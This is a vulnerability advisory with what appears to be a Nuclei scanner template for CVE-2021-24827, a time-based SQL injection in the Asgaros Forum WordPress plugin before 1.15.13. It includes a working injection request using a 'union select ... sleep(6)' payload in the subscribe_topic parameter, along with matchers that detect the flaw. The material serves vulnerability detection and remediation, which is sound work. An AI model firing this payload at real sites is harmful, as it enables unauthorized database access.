WordPress Asgaros Forum plugin before 1.15.13 is susceptible to SQL injection. The plugin does not validate and escape user input when subscribing to a topic before using it in a SQL statement. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
PoC代码[已公开]
id: CVE-2021-24827
info:
name: WordPress Asgaros Forum <1.15.13 - SQL Injection
author: theamanrawat
severity: critical
description: |
WordPress Asgaros Forum plugin before 1.15.13 is susceptible to SQL injection. The plugin does not validate and escape user input when subscribing to a topic before using it in a SQL statement. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
impact: |
Successful exploitation of this vulnerability allows an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data manipulation.
remediation: |
Upgrade to the latest version of Asgaros Forum (1.15.13 or higher) to mitigate this vulnerability.
reference:
- https://wpscan.com/vulnerability/36cc5151-1d5e-4874-bcec-3b6326235db1
- https://wordpress.org/plugins/asgaros-forum/
- https://plugins.trac.wordpress.org/changeset/2611560/asgaros-forum
- https://nvd.nist.gov/vuln/detail/CVE-2021-24827
- https://github.com/20142995/sectool
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-24827
cwe-id: CWE-89
epss-score: 0.72386
epss-percentile: 0.98718
cpe: cpe:2.3:a:asgaros:asgaros_forum:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 1
vendor: asgaros
product: asgaros_forum
framework: wordpress
tags: time-based-sqli,cve2021,cve,wp-plugin,asgaros-forum,unauth,wpscan,wordpress,wp,sqli,asgaros
http:
- raw:
- |
@timeout: 15s
GET /forum/?subscribe_topic=1%20union%20select%201%20and%20sleep(6) HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'duration>=6'
- 'status_code == 200'
- 'contains(content_type, "text/html")'
- 'contains(body, "asgarosforum")'
condition: and
# digest: 4a0a00473045022100e42a28f299c68cb8e25f9a7ea0fb7ea22294480c0eef6d6ab43bc61858bed99402205b7e9d13739414d58bdc35a5fa328a2e7b282e673213c1c4fbf706689a78ee3f:922c64590222798bb761d5b6d8e72950